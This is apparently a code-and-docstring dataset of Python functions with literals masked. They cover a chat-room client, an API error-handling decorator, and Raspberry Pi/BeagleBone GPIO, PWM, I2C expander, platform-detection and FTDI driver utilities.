{"signature": "def get_rooms(self, sort=True):", "body": "rooms = self._connection.get(\"<STR_LIT>\")<EOL>if sort:<EOL><INDENT>rooms.sort(key=operator.itemgetter(\"<STR_LIT:name>\"))<EOL><DEDENT>return rooms<EOL>", "docstring": "Get rooms list.\n\n        Kwargs:\n            sort (bool): If True, sort rooms by name\n\n        Returns:\n            array. List of rooms (each room is a dict)", "id": "f7985:c1:m3"}
{"signature": "def get_room_by_name(self, name):", "body": "rooms = self.get_rooms()<EOL>for room in rooms or []:<EOL><INDENT>if room[\"<STR_LIT:name>\"] == name:<EOL><INDENT>return self.get_room(room[\"<STR_LIT:id>\"])<EOL><DEDENT><DEDENT>raise RoomNotFoundException(\"<STR_LIT>\" % name)<EOL>", "docstring": "Get a room by name.\n\n        Returns:\n            :class:`Room`. Room\n\n        Raises:\n            RoomNotFoundException", "id": "f7985:c1:m4"}
{"signature": "def get_room(self, id):", "body": "if id not in self._rooms:<EOL><INDENT>self._rooms[id] = Room(self, id)<EOL><DEDENT>return self._rooms[id]<EOL>", "docstring": "Get room.\n\n        Returns:\n            :class:`Room`. Room", "id": "f7985:c1:m5"}
{"signature": "def get_user(self, id = None):", "body": "if not id:<EOL><INDENT>id = self._user.id<EOL><DEDENT>if id not in self._users:<EOL><INDENT>self._users[id] = self._user if id == self._user.id else User(self, id)<EOL><DEDENT>return self._users[id]<EOL>", "docstring": "Get user.\n\n        Returns:\n            :class:`User`. User", "id": "f7985:c1:m6"}
{"signature": "def search(self, terms):", "body": "messages = self._connection.get(\"<STR_LIT>\" % urllib.quote_plus(terms), key=\"<STR_LIT>\")<EOL>if messages:<EOL><INDENT>messages = [Message(self, message) for message in messages]<EOL><DEDENT>return messages<EOL>", "docstring": "Search transcripts.\n\n        Args:\n            terms (str): Terms for search\n\n        Returns:\n            array. Messages", "id": "f7985:c1:m7"}
{"signature": "def MWAPIWrapper(func):", "body": "@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>self = args[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>result = func(*args, **kwargs)<EOL>return result<EOL><DEDENT>except ConnectionError:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__, host=self.host)<EOL><DEDENT>except HTTPError as e:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__,<EOL>host=self.host, detail=e.message)<EOL><DEDENT>except Timeout:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__, host=self.host)<EOL><DEDENT>except TooManyRedirects:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__, host=self.host)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>if e.message.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__, host=self.host)<EOL><DEDENT>else:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__, msg=e.message)<EOL>self.log.error(e, exc_info=True)<EOL><DEDENT><DEDENT>except KeyError as e:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = '<STR_LIT>'.format(name=func.__name__, key=e.message)<EOL>self.log.error(e, exc_info=True)<EOL><DEDENT>except MWAPIException as e:<EOL><INDENT>err_title = '<STR_LIT>'<EOL>err_message = e.message<EOL><DEDENT>self.log.error('<STR_LIT>', err_title, err_message)<EOL>return {'<STR_LIT:success>': False, '<STR_LIT>': err_title, '<STR_LIT>': err_message}<EOL><DEDENT>return wrapper<EOL>", "docstring": "MWAPIWrapper \u63a7\u5236API\u8bf7\u6c42\u5f02\u5e38\u7684\u88c5\u9970\u5668\n\u6839\u636erequests\u5e93\u5b9a\u4e49\u7684\u5f02\u5e38\u6765\u63a7\u5236\u8bf7\u6c42\u8fd4\u56de\u7684\u610f\u5916\u60c5\u51b5", "id": "f7987:m0"}
{"signature": "def get_platform_pwm(**keywords):", "body": "plat = Platform.platform_detect()<EOL>if plat == Platform.RASPBERRY_PI:<EOL><INDENT>import RPi.GPIO<EOL>return RPi_PWM_Adapter(RPi.GPIO, **keywords)<EOL><DEDENT>elif plat == Platform.BEAGLEBONE_BLACK:<EOL><INDENT>import Adafruit_BBIO.PWM<EOL>return BBIO_PWM_Adapter(Adafruit_BBIO.PWM, **keywords)<EOL><DEDENT>elif plat == Platform.UNKNOWN:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Attempt to return a PWM instance for the platform which the code is being\n    executed on.  Currently supports only the Raspberry Pi using the RPi.GPIO\n    library and Beaglebone Black using the Adafruit_BBIO library.  Will throw an\n    exception if a PWM instance can't be created for the current platform.  The\n    returned PWM object has the same interface as the RPi_PWM_Adapter and\n    BBIO_PWM_Adapter classes.", "id": "f7996:m0"}
{"signature": "def start(self, pin, dutycycle, frequency_hz=<NUM_LIT>):", "body": "if dutycycle < <NUM_LIT:0.0> or dutycycle > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.rpi_gpio.setup(pin, self.rpi_gpio.OUT)<EOL>self.pwm[pin] = self.rpi_gpio.PWM(pin, frequency_hz)<EOL>self.pwm[pin].start(dutycycle)<EOL>", "docstring": "Enable PWM output on specified pin.  Set to intiial percent duty cycle\n        value (0.0 to 100.0) and frequency (in Hz).", "id": "f7996:c0:m1"}
{"signature": "def set_duty_cycle(self, pin, dutycycle):", "body": "if dutycycle < <NUM_LIT:0.0> or dutycycle > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if pin not in self.pwm:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(pin))<EOL><DEDENT>self.pwm[pin].ChangeDutyCycle(dutycycle)<EOL>", "docstring": "Set percent duty cycle of PWM output on specified pin.  Duty cycle must\n        be a value 0.0 to 100.0 (inclusive).", "id": "f7996:c0:m2"}
{"signature": "def set_frequency(self, pin, frequency_hz):", "body": "if pin not in self.pwm:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(pin))<EOL><DEDENT>self.pwm[pin].ChangeFrequency(frequency_hz)<EOL>", "docstring": "Set frequency (in Hz) of PWM output on specified pin.", "id": "f7996:c0:m3"}
{"signature": "def stop(self, pin):", "body": "if pin not in self.pwm:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(pin))<EOL><DEDENT>self.pwm[pin].stop()<EOL>del self.pwm[pin]<EOL>", "docstring": "Stop PWM output on specified pin.", "id": "f7996:c0:m4"}
{"signature": "def start(self, pin, dutycycle, frequency_hz=<NUM_LIT>):", "body": "if dutycycle < <NUM_LIT:0.0> or dutycycle > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.bbio_pwm.start(pin, dutycycle, frequency_hz)<EOL>", "docstring": "Enable PWM output on specified pin.  Set to intiial percent duty cycle\n        value (0.0 to 100.0) and frequency (in Hz).", "id": "f7996:c1:m1"}
{"signature": "def set_duty_cycle(self, pin, dutycycle):", "body": "if dutycycle < <NUM_LIT:0.0> or dutycycle > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.bbio_pwm.set_duty_cycle(pin, dutycycle)<EOL>", "docstring": "Set percent duty cycle of PWM output on specified pin.  Duty cycle must\n        be a value 0.0 to 100.0 (inclusive).", "id": "f7996:c1:m2"}
{"signature": "def set_frequency(self, pin, frequency_hz):", "body": "self.bbio_pwm.set_frequency(pin, frequency_hz)<EOL>", "docstring": "Set frequency (in Hz) of PWM output on specified pin.", "id": "f7996:c1:m3"}
{"signature": "def stop(self, pin):", "body": "self.bbio_pwm.stop(pin)<EOL>", "docstring": "Stop PWM output on specified pin.", "id": "f7996:c1:m4"}
{"signature": "def __init__(self, address, i2c=None, **kwargs):", "body": "<EOL>if i2c is None:<EOL><INDENT>import Adafruit_GPIO.I2C as I2C<EOL>i2c = I2C<EOL><DEDENT>self._device = i2c.get_i2c_device(address, **kwargs)<EOL>self.gpio_bytes = int(math.ceil(self.NUM_GPIO/<NUM_LIT>))<EOL>self.iodir = [<NUM_LIT>]*self.gpio_bytes  <EOL>self.gppu = [<NUM_LIT>]*self.gpio_bytes  <EOL>self.gpio = [<NUM_LIT>]*self.gpio_bytes<EOL>self.write_iodir()<EOL>self.write_gppu()<EOL>", "docstring": "Initialize MCP230xx at specified I2C address and bus number.  If bus\n        is not specified it will default to the appropriate platform detected bus.", "id": "f7997:c0:m0"}
{"signature": "def setup(self, pin, value):", "body": "self._validate_pin(pin)<EOL>if value == GPIO.IN:<EOL><INDENT>self.iodir[int(pin/<NUM_LIT:8>)] |= <NUM_LIT:1> << (int(pin%<NUM_LIT:8>))<EOL><DEDENT>elif value == GPIO.OUT:<EOL><INDENT>self.iodir[int(pin/<NUM_LIT:8>)] &= ~(<NUM_LIT:1> << (int(pin%<NUM_LIT:8>)))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.write_iodir()<EOL>", "docstring": "Set the input or output mode for a specified pin.  Mode should be\n        either GPIO.OUT or GPIO.IN.", "id": "f7997:c0:m1"}
{"signature": "def output(self, pin, value):", "body": "self.output_pins({pin: value})<EOL>", "docstring": "Set the specified pin the provided high/low value.  Value should be\n        either GPIO.HIGH/GPIO.LOW or a boolean (True = HIGH).", "id": "f7997:c0:m2"}
{"signature": "def output_pins(self, pins):", "body": "[self._validate_pin(pin) for pin in pins.keys()]<EOL>for pin, value in iter(pins.items()):<EOL><INDENT>if value:<EOL><INDENT>self.gpio[int(pin/<NUM_LIT:8>)] |= <NUM_LIT:1> << (int(pin%<NUM_LIT:8>))<EOL><DEDENT>else:<EOL><INDENT>self.gpio[int(pin/<NUM_LIT:8>)] &= ~(<NUM_LIT:1> << (int(pin%<NUM_LIT:8>)))<EOL><DEDENT><DEDENT>self.write_gpio()<EOL>", "docstring": "Set multiple pins high or low at once.  Pins should be a dict of pin\n        name to pin value (HIGH/True for 1, LOW/False for 0).  All provided pins\n        will be set to the given values.", "id": "f7997:c0:m3"}
{"signature": "def input(self, pin):", "body": "return self.input_pins([pin])[<NUM_LIT:0>]<EOL>", "docstring": "Read the specified pin and return GPIO.HIGH/True if the pin is pulled\n        high, or GPIO.LOW/False if pulled low.", "id": "f7997:c0:m4"}
{"signature": "def input_pins(self, pins):", "body": "[self._validate_pin(pin) for pin in pins]<EOL>self.gpio = self._device.readList(self.GPIO, self.gpio_bytes)<EOL>return [(self.gpio[int(pin/<NUM_LIT:8>)] & <NUM_LIT:1> << (int(pin%<NUM_LIT:8>))) > <NUM_LIT:0> for pin in pins]<EOL>", "docstring": "Read multiple pins specified in the given list and return list of pin values\n        GPIO.HIGH/True if the pin is pulled high, or GPIO.LOW/False if pulled low.", "id": "f7997:c0:m5"}
{"signature": "def pullup(self, pin, enabled):", "body": "self._validate_pin(pin)<EOL>if enabled:<EOL><INDENT>self.gppu[int(pin/<NUM_LIT:8>)] |= <NUM_LIT:1> << (int(pin%<NUM_LIT:8>))<EOL><DEDENT>else:<EOL><INDENT>self.gppu[int(pin/<NUM_LIT:8>)] &= ~(<NUM_LIT:1> << (int(pin%<NUM_LIT:8>)))<EOL><DEDENT>self.write_gppu()<EOL>", "docstring": "Turn on the pull-up resistor for the specified pin if enabled is True,\n        otherwise turn off the pull-up resistor.", "id": "f7997:c0:m6"}
{"signature": "def write_gpio(self, gpio=None):", "body": "if gpio is not None:<EOL><INDENT>self.gpio = gpio<EOL><DEDENT>self._device.writeList(self.GPIO, self.gpio)<EOL>", "docstring": "Write the specified byte value to the GPIO registor.  If no value\n        specified the current buffered value will be written.", "id": "f7997:c0:m7"}
{"signature": "def write_iodir(self, iodir=None):", "body": "if iodir is not None:<EOL><INDENT>self.iodir = iodir<EOL><DEDENT>self._device.writeList(self.IODIR, self.iodir)<EOL>", "docstring": "Write the specified byte value to the IODIR registor.  If no value\n        specified the current buffered value will be written.", "id": "f7997:c0:m8"}
{"signature": "def write_gppu(self, gppu=None):", "body": "if gppu is not None:<EOL><INDENT>self.gppu = gppu<EOL><DEDENT>self._device.writeList(self.GPPU, self.gppu)<EOL>", "docstring": "Write the specified byte value to the GPPU registor.  If no value\n        specified the current buffered value will be written.", "id": "f7997:c0:m9"}
{"signature": "def get_platform_gpio(**keywords):", "body": "plat = Platform.platform_detect()<EOL>if plat == Platform.RASPBERRY_PI:<EOL><INDENT>import RPi.GPIO<EOL>return RPiGPIOAdapter(RPi.GPIO, **keywords)<EOL><DEDENT>elif plat == Platform.BEAGLEBONE_BLACK:<EOL><INDENT>import Adafruit_BBIO.GPIO<EOL>return AdafruitBBIOAdapter(Adafruit_BBIO.GPIO, **keywords)<EOL><DEDENT>elif plat == Platform.MINNOWBOARD:<EOL><INDENT>import mraa<EOL>return AdafruitMinnowAdapter(mraa, **keywords)<EOL><DEDENT>elif plat == Platform.JETSON_NANO:<EOL><INDENT>import Jetson.GPIO<EOL>return RPiGPIOAdapter(Jetson.GPIO, **keywords)<EOL><DEDENT>elif plat == Platform.UNKNOWN:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Attempt to return a GPIO instance for the platform which the code is being\n    executed on.  Currently supports only the Raspberry Pi using the RPi.GPIO\n    library and Beaglebone Black using the Adafruit_BBIO library.  Will throw an\n    exception if a GPIO instance can't be created for the current platform.  The\n    returned GPIO object is an instance of BaseGPIO.", "id": "f7998:m0"}
{"signature": "def setup(self, pin, mode, pull_up_down=PUD_OFF):", "body": "raise NotImplementedError<EOL>", "docstring": "Set the input or output mode for a specified pin.  Mode should be\n        either OUT or IN.", "id": "f7998:c0:m0"}
{"signature": "def output(self, pin, value):", "body": "raise NotImplementedError<EOL>", "docstring": "Set the specified pin the provided high/low value.  Value should be\n        either HIGH/LOW or a boolean (true = high).", "id": "f7998:c0:m1"}
{"signature": "def input(self, pin):", "body": "raise NotImplementedError<EOL>", "docstring": "Read the specified pin and return HIGH/true if the pin is pulled high,\n        or LOW/false if pulled low.", "id": "f7998:c0:m2"}
{"signature": "def set_high(self, pin):", "body": "self.output(pin, HIGH)<EOL>", "docstring": "Set the specified pin HIGH.", "id": "f7998:c0:m3"}
{"signature": "def set_low(self, pin):", "body": "self.output(pin, LOW)<EOL>", "docstring": "Set the specified pin LOW.", "id": "f7998:c0:m4"}
{"signature": "def is_high(self, pin):", "body": "return self.input(pin) == HIGH<EOL>", "docstring": "Return true if the specified pin is pulled high.", "id": "f7998:c0:m5"}
{"signature": "def is_low(self, pin):", "body": "return self.input(pin) == LOW<EOL>", "docstring": "Return true if the specified pin is pulled low.", "id": "f7998:c0:m6"}
{"signature": "def output_pins(self, pins):", "body": "<EOL>for pin, value in iter(pins.items()):<EOL><INDENT>self.output(pin, value)<EOL><DEDENT>", "docstring": "Set multiple pins high or low at once.  Pins should be a dict of pin\n        name to pin value (HIGH/True for 1, LOW/False for 0).  All provided pins\n        will be set to the given values.", "id": "f7998:c0:m7"}
{"signature": "def setup_pins(self, pins):", "body": "<EOL>for pin, value in iter(pins.items()):<EOL><INDENT>self.setup(pin, value)<EOL><DEDENT>", "docstring": "Setup multiple pins as inputs or outputs at once.  Pins should be a\n        dict of pin name to pin type (IN or OUT).", "id": "f7998:c0:m8"}
{"signature": "def input_pins(self, pins):", "body": "<EOL>return [self.input(pin) for pin in pins]<EOL>", "docstring": "Read multiple pins specified in the given list and return list of pin values\n        GPIO.HIGH/True if the pin is pulled high, or GPIO.LOW/False if pulled low.", "id": "f7998:c0:m9"}
{"signature": "def add_event_detect(self, pin, edge):", "body": "raise NotImplementedError<EOL>", "docstring": "Enable edge detection events for a particular GPIO channel.  Pin \n        should be type IN.  Edge must be RISING, FALLING or BOTH.", "id": "f7998:c0:m10"}
{"signature": "def remove_event_detect(self, pin):", "body": "raise NotImplementedError<EOL>", "docstring": "Remove edge detection for a particular GPIO channel.  Pin should be\n        type IN.", "id": "f7998:c0:m11"}
{"signature": "def add_event_callback(self, pin, callback):", "body": "raise NotImplementedError<EOL>", "docstring": "Add a callback for an event already defined using add_event_detect().\n        Pin should be type IN.", "id": "f7998:c0:m12"}
{"signature": "def event_detected(self, pin):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns True if an edge has occured on a given GPIO.  You need to \n        enable edge detection using add_event_detect() first.   Pin should be \n        type IN.", "id": "f7998:c0:m13"}
{"signature": "def wait_for_edge(self, pin, edge):", "body": "raise NotImplementedError<EOL>", "docstring": "Wait for an edge.   Pin should be type IN.  Edge must be RISING, \n        FALLING or BOTH.", "id": "f7998:c0:m14"}
{"signature": "def cleanup(self, pin=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Clean up GPIO event detection for specific pin, or all pins if none \n        is specified.", "id": "f7998:c0:m15"}
{"signature": "def setup(self, pin, mode, pull_up_down=PUD_OFF):", "body": "self.rpi_gpio.setup(pin, self._dir_mapping[mode],<EOL>pull_up_down=self._pud_mapping[pull_up_down])<EOL>", "docstring": "Set the input or output mode for a specified pin.  Mode should be\n        either OUTPUT or INPUT.", "id": "f7998:c1:m1"}
{"signature": "def output(self, pin, value):", "body": "self.rpi_gpio.output(pin, value)<EOL>", "docstring": "Set the specified pin the provided high/low value.  Value should be\n        either HIGH/LOW or a boolean (true = high).", "id": "f7998:c1:m2"}
{"signature": "def input(self, pin):", "body": "return self.rpi_gpio.input(pin)<EOL>", "docstring": "Read the specified pin and return HIGH/true if the pin is pulled high,\n        or LOW/false if pulled low.", "id": "f7998:c1:m3"}
{"signature": "def input_pins(self, pins):", "body": "<EOL>return [self.rpi_gpio.input(pin) for pin in pins]<EOL>", "docstring": "Read multiple pins specified in the given list and return list of pin values\n        GPIO.HIGH/True if the pin is pulled high, or GPIO.LOW/False if pulled low.", "id": "f7998:c1:m4"}
{"signature": "def add_event_detect(self, pin, edge, callback=None, bouncetime=-<NUM_LIT:1>):", "body": "kwargs = {}<EOL>if callback:<EOL><INDENT>kwargs['<STR_LIT>']=callback<EOL><DEDENT>if bouncetime > <NUM_LIT:0>:<EOL><INDENT>kwargs['<STR_LIT>']=bouncetime<EOL><DEDENT>self.rpi_gpio.add_event_detect(pin, self._edge_mapping[edge], **kwargs)<EOL>", "docstring": "Enable edge detection events for a particular GPIO channel.  Pin \n        should be type IN.  Edge must be RISING, FALLING or BOTH.  Callback is a\n        function for the event.  Bouncetime is switch bounce timeout in ms for\n        callback", "id": "f7998:c1:m5"}
{"signature": "def remove_event_detect(self, pin):", "body": "self.rpi_gpio.remove_event_detect(pin)<EOL>", "docstring": "Remove edge detection for a particular GPIO channel.  Pin should be\n        type IN.", "id": "f7998:c1:m6"}
{"signature": "def add_event_callback(self, pin, callback):", "body": "self.rpi_gpio.add_event_callback(pin, callback)<EOL>", "docstring": "Add a callback for an event already defined using add_event_detect().\n        Pin should be type IN.", "id": "f7998:c1:m7"}
{"signature": "def event_detected(self, pin):", "body": "return self.rpi_gpio.event_detected(pin)<EOL>", "docstring": "Returns True if an edge has occured on a given GPIO.  You need to \n        enable edge detection using add_event_detect() first.   Pin should be\n        type IN.", "id": "f7998:c1:m8"}
{"signature": "def wait_for_edge(self, pin, edge):", "body": "self.rpi_gpio.wait_for_edge(pin, self._edge_mapping[edge])<EOL>", "docstring": "Wait for an edge.   Pin should be type IN.  Edge must be RISING,\n        FALLING or BOTH.", "id": "f7998:c1:m9"}
{"signature": "def cleanup(self, pin=None):", "body": "if pin is None:<EOL><INDENT>self.rpi_gpio.cleanup()<EOL><DEDENT>else:<EOL><INDENT>self.rpi_gpio.cleanup(pin)<EOL><DEDENT>", "docstring": "Clean up GPIO event detection for specific pin, or all pins if none \n        is specified.", "id": "f7998:c1:m10"}
{"signature": "def setup(self, pin, mode, pull_up_down=PUD_OFF):", "body": "self.bbio_gpio.setup(pin, self._dir_mapping[mode],<EOL>pull_up_down=self._pud_mapping[pull_up_down])<EOL>", "docstring": "Set the input or output mode for a specified pin.  Mode should be\n        either OUTPUT or INPUT.", "id": "f7998:c2:m1"}
{"signature": "def output(self, pin, value):", "body": "self.bbio_gpio.output(pin, value)<EOL>", "docstring": "Set the specified pin the provided high/low value.  Value should be\n        either HIGH/LOW or a boolean (true = high).", "id": "f7998:c2:m2"}
{"signature": "def input(self, pin):", "body": "return self.bbio_gpio.input(pin)<EOL>", "docstring": "Read the specified pin and return HIGH/true if the pin is pulled high,\n        or LOW/false if pulled low.", "id": "f7998:c2:m3"}
{"signature": "def input_pins(self, pins):", "body": "<EOL>return [self.bbio_gpio.input(pin) for pin in pins]<EOL>", "docstring": "Read multiple pins specified in the given list and return list of pin values\n        GPIO.HIGH/True if the pin is pulled high, or GPIO.LOW/False if pulled low.", "id": "f7998:c2:m4"}
{"signature": "def add_event_detect(self, pin, edge, callback=None, bouncetime=-<NUM_LIT:1>):", "body": "kwargs = {}<EOL>if callback:<EOL><INDENT>kwargs['<STR_LIT>']=callback<EOL><DEDENT>if bouncetime > <NUM_LIT:0>:<EOL><INDENT>kwargs['<STR_LIT>']=bouncetime<EOL><DEDENT>self.bbio_gpio.add_event_detect(pin, self._edge_mapping[edge], **kwargs)<EOL>", "docstring": "Enable edge detection events for a particular GPIO channel.  Pin \n        should be type IN.  Edge must be RISING, FALLING or BOTH.  Callback is a\n        function for the event.  Bouncetime is switch bounce timeout in ms for \n        callback", "id": "f7998:c2:m5"}
{"signature": "def remove_event_detect(self, pin):", "body": "self.bbio_gpio.remove_event_detect(pin)<EOL>", "docstring": "Remove edge detection for a particular GPIO channel.  Pin should be\n        type IN.", "id": "f7998:c2:m6"}
{"signature": "def add_event_callback(self, pin, callback, bouncetime=-<NUM_LIT:1>):", "body": "kwargs = {}<EOL>if bouncetime > <NUM_LIT:0>:<EOL><INDENT>kwargs['<STR_LIT>']=bouncetime<EOL><DEDENT>self.bbio_gpio.add_event_callback(pin, callback, **kwargs)<EOL>", "docstring": "Add a callback for an event already defined using add_event_detect().\n        Pin should be type IN.  Bouncetime is switch bounce timeout in ms for \n        callback", "id": "f7998:c2:m7"}
{"signature": "def event_detected(self, pin):", "body": "return self.bbio_gpio.event_detected(pin)<EOL>", "docstring": "Returns True if an edge has occured on a given GPIO.  You need to \n        enable edge detection using add_event_detect() first.   Pin should be \n        type IN.", "id": "f7998:c2:m8"}
{"signature": "def wait_for_edge(self, pin, edge):", "body": "self.bbio_gpio.wait_for_edge(pin, self._edge_mapping[edge])<EOL>", "docstring": "Wait for an edge.   Pin should be type IN.  Edge must be RISING, \n        FALLING or BOTH.", "id": "f7998:c2:m9"}
{"signature": "def cleanup(self, pin=None):", "body": "if pin is None:<EOL><INDENT>self.bbio_gpio.cleanup()<EOL><DEDENT>else:<EOL><INDENT>self.bbio_gpio.cleanup(pin)<EOL><DEDENT>", "docstring": "Clean up GPIO event detection for specific pin, or all pins if none \n        is specified.", "id": "f7998:c2:m10"}
{"signature": "def setup(self,pin,mode):", "body": "self.mraa_gpio.Gpio.dir(self.mraa_gpio.Gpio(pin),self._dir_mapping[mode])<EOL>", "docstring": "Set the input or output mode for a specified pin.  Mode should be\n        either DIR_IN or DIR_OUT.", "id": "f7998:c3:m1"}
{"signature": "def output(self,pin,value):", "body": "self.mraa_gpio.Gpio.write(self.mraa_gpio.Gpio(pin), value)<EOL>", "docstring": "Set the specified pin the provided high/low value.  Value should be\n        either 1 (ON or HIGH), or 0 (OFF or LOW) or a boolean.", "id": "f7998:c3:m2"}
{"signature": "def input(self,pin):", "body": "return self.mraa_gpio.Gpio.read(self.mraa_gpio.Gpio(pin))<EOL>", "docstring": "Read the specified pin and return HIGH/true if the pin is pulled high,\n        or LOW/false if pulled low.", "id": "f7998:c3:m3"}
{"signature": "def add_event_detect(self, pin, edge, callback=None, bouncetime=-<NUM_LIT:1>):", "body": "kwargs = {}<EOL>if callback:<EOL><INDENT>kwargs['<STR_LIT>']=callback<EOL><DEDENT>if bouncetime > <NUM_LIT:0>:<EOL><INDENT>kwargs['<STR_LIT>']=bouncetime<EOL><DEDENT>self.mraa_gpio.Gpio.isr(self.mraa_gpio.Gpio(pin), self._edge_mapping[edge], **kwargs)<EOL>", "docstring": "Enable edge detection events for a particular GPIO channel.  Pin \n        should be type IN.  Edge must be RISING, FALLING or BOTH.  Callback is a\n        function for the event.  Bouncetime is switch bounce timeout in ms for \n        callback", "id": "f7998:c3:m4"}
{"signature": "def remove_event_detect(self, pin):", "body": "self.mraa_gpio.Gpio.isrExit(self.mraa_gpio.Gpio(pin))<EOL>", "docstring": "Remove edge detection for a particular GPIO channel.  Pin should be\n        type IN.", "id": "f7998:c3:m5"}
{"signature": "def wait_for_edge(self, pin, edge):", "body": "self.bbio_gpio.wait_for_edge(self.mraa_gpio.Gpio(pin), self._edge_mapping[edge])<EOL>", "docstring": "Wait for an edge.   Pin should be type IN.  Edge must be RISING, \n        FALLING or BOTH.", "id": "f7998:c3:m6"}
{"signature": "def platform_detect():", "body": "<EOL>pi = pi_version()<EOL>if pi is not None:<EOL><INDENT>return RASPBERRY_PI<EOL><DEDENT>plat = platform.platform()<EOL>if plat.lower().find('<STR_LIT>') > -<NUM_LIT:1>:<EOL><INDENT>return BEAGLEBONE_BLACK<EOL><DEDENT>elif plat.lower().find('<STR_LIT>') > -<NUM_LIT:1>:<EOL><INDENT>return BEAGLEBONE_BLACK<EOL><DEDENT>elif plat.lower().find('<STR_LIT>') > -<NUM_LIT:1>:<EOL><INDENT>return BEAGLEBONE_BLACK<EOL><DEDENT>elif plat.lower().find('<STR_LIT>') > -<NUM_LIT:1>:<EOL><INDENT>return JETSON_NANO<EOL><DEDENT>try: <EOL><INDENT>import mraa <EOL>if mraa.getPlatformName()=='<STR_LIT>':<EOL><INDENT>return MINNOWBOARD<EOL><DEDENT><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>return UNKNOWN<EOL>", "docstring": "Detect if running on the Raspberry Pi or Beaglebone Black and return the\n    platform type.  Will return RASPBERRY_PI, BEAGLEBONE_BLACK, or UNKNOWN.", "id": "f8000:m0"}
{"signature": "def pi_revision():", "body": "<EOL>with open('<STR_LIT>', '<STR_LIT:r>') as infile:<EOL><INDENT>for line in infile:<EOL><INDENT>match = re.match('<STR_LIT>', line, flags=re.IGNORECASE)<EOL>if match and match.group(<NUM_LIT:1>) in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif match:<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Detect the revision number of a Raspberry Pi, useful for changing\n    functionality like default I2C bus based on revision.", "id": "f8000:m1"}
{"signature": "def pi_version():", "body": "<EOL>with open('<STR_LIT>', '<STR_LIT:r>') as infile:<EOL><INDENT>cpuinfo = infile.read()<EOL><DEDENT>match = re.search('<STR_LIT>', cpuinfo,<EOL>flags=re.MULTILINE | re.IGNORECASE)<EOL>if not match:<EOL><INDENT>return None<EOL><DEDENT>if match.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif match.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT>elif match.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Detect the version of the Raspberry Pi.  Returns either 1, 2 or\n    None depending on if it's a Raspberry Pi 1 (model A, B, A+, B+),\n    Raspberry Pi 2 (model B+), or not a Raspberry Pi.", "id": "f8000:m2"}
{"signature": "def disable_FTDI_driver():", "body": "logger.debug('<STR_LIT>')<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>_check_running_as_root()<EOL>subprocess.call(<EOL>'<STR_LIT>', shell=True)<EOL>subprocess.call(<EOL>'<STR_LIT>', shell=True)<EOL><DEDENT>elif sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>_check_running_as_root()<EOL>subprocess.call('<STR_LIT>', shell=True)<EOL>subprocess.call('<STR_LIT>', shell=True)<EOL><DEDENT>", "docstring": "Disable the FTDI drivers for the current platform.  This is necessary\n    because they will conflict with libftdi and accessing the FT232H.  Note you\n    can enable the FTDI drivers again by calling enable_FTDI_driver.", "id": "f8002:m1"}
{"signature": "def enable_FTDI_driver():", "body": "logger.debug('<STR_LIT>')<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>_check_running_as_root()<EOL>subprocess.check_call(<EOL>'<STR_LIT>', shell=True)<EOL>subprocess.check_call(<EOL>'<STR_LIT>', shell=True)<EOL><DEDENT>elif sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>_check_running_as_root()<EOL>subprocess.check_call('<STR_LIT>', shell=True)<EOL>subprocess.check_call('<STR_LIT>', shell=True)<EOL><DEDENT>", "docstring": "Re-enable the FTDI drivers for the current platform.", "id": "f8002:m2"}
{"signature": "def use_FT232H():", "body": "disable_FTDI_driver()<EOL>atexit.register(enable_FTDI_driver)<EOL>", "docstring": "Disable any built in FTDI drivers which will conflict and cause problems\n    with libftdi (which is used to communicate with the FT232H).  Will register\n    an exit function so the drivers are re-enabled on program exit.", "id": "f8002:m3"}
